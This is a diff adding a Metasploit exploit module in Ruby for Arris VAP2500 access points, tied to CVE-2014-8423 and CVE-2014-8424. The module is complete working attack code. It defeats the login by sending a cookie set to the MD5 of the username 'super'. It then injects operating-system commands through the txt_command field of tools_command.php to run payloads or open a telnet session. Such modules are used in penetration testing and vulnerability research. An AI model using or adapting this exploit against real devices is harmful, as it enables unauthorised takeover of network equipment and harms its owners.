|
| 1 | +## |
| 2 | +# This module requires Metasploit: http://metasploit.com/download |
| 3 | +# Current source: https://github.com/rapid7/metasploit-framework |
| 4 | +## |
| 5 | + |
| 6 | +require 'msf/core' |
| 7 | + |
| 8 | +class Metasploit3 < Msf::Exploit::Remote |
| 9 | + Rank = NormalRanking |
| 10 | + |
| 11 | + include Msf::Exploit::Remote::HttpClient |
| 12 | + |
| 13 | + def initialize(info = {}) |
| 14 | + super(update_info(info, |
| 15 | + 'Name' => 'Arris VAP2500 tools_command.php Command Execution', |
| 16 | + 'Description' => %q{ |
| 17 | + Arris VAP2500 access points are vulnerable to OS command injection in the web management |
| 18 | + portal via the tools_command.php page. Though authentication is required to access this |
| 19 | + page, it is trivially bypassed by setting the value of a cookie to an md5 hash of a valid |
| 20 | + username. |
| 21 | + }, |
| 22 | + 'Author' => |
| 23 | + [ |
| 24 | + 'HeadlessZeke' # Vulnerability discovery and Metasploit module |
| 25 | + ], |
| 26 | + 'License' => MSF_LICENSE, |
| 27 | + 'References' => |
| 28 | + [ |
| 29 | + ['CVE', '2014-8423'], |
| 30 | + ['CVE', '2014-8424'], |
| 31 | + ['OSVDB', '115045'], |
| 32 | + ['OSVDB', '115046'], |
| 33 | + ['BID', '71297'], |
| 34 | + ['BID', '71299'], |
| 35 | + ['URL', 'http://goto.fail/blog/2014/11/25/at-and-t-u-verse-vap2500-the-passwords-they-do-nothing/'] |
| 36 | + ], |
| 37 | + 'DisclosureDate' => 'Nov 25 2014', |
| 38 | + 'Privileged' => true, |
| 39 | + 'Payload' => |
| 40 | + { |
| 41 | + 'DisableNops' => true, |
| 42 | + 'Space' => 1024, |
| 43 | + 'Compat' => |
| 44 | + { |
| 45 | + 'PayloadType' => 'cmd', |
| 46 | + 'RequiredCmd' => 'generic telnet' |
| 47 | + } |
| 48 | + }, |
| 49 | + 'Platform' => 'unix', |
| 50 | + 'Arch' => ARCH_CMD, |
| 51 | + 'Targets' => [[ 'Automatic', { }]], |
| 52 | + 'DefaultTarget' => 0 |
| 53 | + )) |
| 54 | + end |
| 55 | + |
| 56 | + def check |
| 57 | + begin |
| 58 | + res = send_request_raw({ |
| 59 | + 'method' => 'GET', |
| 60 | + 'uri' => '/tools_command.php', |
| 61 | + 'cookie' => "p=#{Rex::Text.md5('super')}" |
| 62 | + }) |
| 63 | + if res && res.code == 200 && res.body.to_s =~ /TOOLS - COMMAND/ |
| 64 | + return Exploit::CheckCode::Vulnerable |
| 65 | + end |
| 66 | + rescue ::Rex::ConnectionError |
| 67 | + return Exploit::CheckCode::Unknown |
| 68 | + end |
| 69 | + |
| 70 | + Exploit::CheckCode::Safe |
| 71 | + end |
| 72 | + |
| 73 | + def exploit |
| 74 | + print_status("#{peer} - Trying to access the device ...") |
| 75 | + |
| 76 | + unless check == Exploit::CheckCode::Vulnerable |
| 77 | + fail_with(Failure::NotVulnerable, "#{peer} - Failed to access the vulnerable device") |
| 78 | + end |
| 79 | + |
| 80 | + print_status("#{peer} - Exploiting...") |
| 81 | + |
| 82 | + if datastore['PAYLOAD'] == 'cmd/unix/generic' |
| 83 | + exploit_cmd |
| 84 | + else |
| 85 | + exploit_session |
| 86 | + end |
| 87 | + end |
| 88 | + |
| 89 | + def exploit_cmd |
| 90 | + beg_boundary = rand_text_alpha(8) |
| 91 | + end_boundary = rand_text_alpha(8) |
| 92 | + |
| 93 | + begin |
| 94 | + res = send_request_cgi({ |
| 95 | + 'uri' => normalize_uri('/', 'tools_command.php'), |
| 96 | + 'vars_post' => { |
| 97 | + 'cmb_header' => '', |
| 98 | + 'txt_command' => "echo #{beg_boundary}; #{payload.encoded}; echo #{end_boundary}" |
| 99 | + }, |
| 100 | + 'method' => 'POST', |
| 101 | + 'cookie' => "p=#{Rex::Text.md5('super')}" |
| 102 | + }) |
| 103 | + |
| 104 | + if res && res.code == 200 && res.body.to_s =~ /TOOLS - COMMAND/ |
| 105 | + print_good("#{peer} - Command sent successfully") |
| 106 | + if res.body.to_s =~ /#{beg_boundary}(.*)#{end_boundary}/m |
| 107 | + print_status("#{peer} - Command output: #{$1}") |
| 108 | + end |
| 109 | + else |
| 110 | + fail_with(Failure::UnexpectedReply, "#{peer} - Command execution failed") |
| 111 | + end |
| 112 | + rescue ::Rex::ConnectionError |
| 113 | + fail_with(Failure::Unreachable, "#{peer} - Failed to connect to the web server") |
| 114 | + end |
| 115 | + end |
| 116 | + |
| 117 | + def exploit_session |
| 118 | + begin |
| 119 | + send_request_cgi({ |
| 120 | + 'uri' => normalize_uri('/', 'tools_command.php'), |
| 121 | + 'vars_post' => { |
| 122 | + 'cmb_header' => '', |
| 123 | + 'txt_command' => "#{payload.encoded}" |
| 124 | + }, |
| 125 | + 'method' => 'POST', |
| 126 | + 'cookie' => "p=#{Rex::Text.md5('super')}" |
| 127 | + }, 3) |
| 128 | + rescue ::Rex::ConnectionError |
| 129 | + fail_with(Failure::Unreachable, "#{peer} - Failed to connect to the web server") |
| 130 | + end |
| 131 | + end |
| 132 | +end |
0 commit comments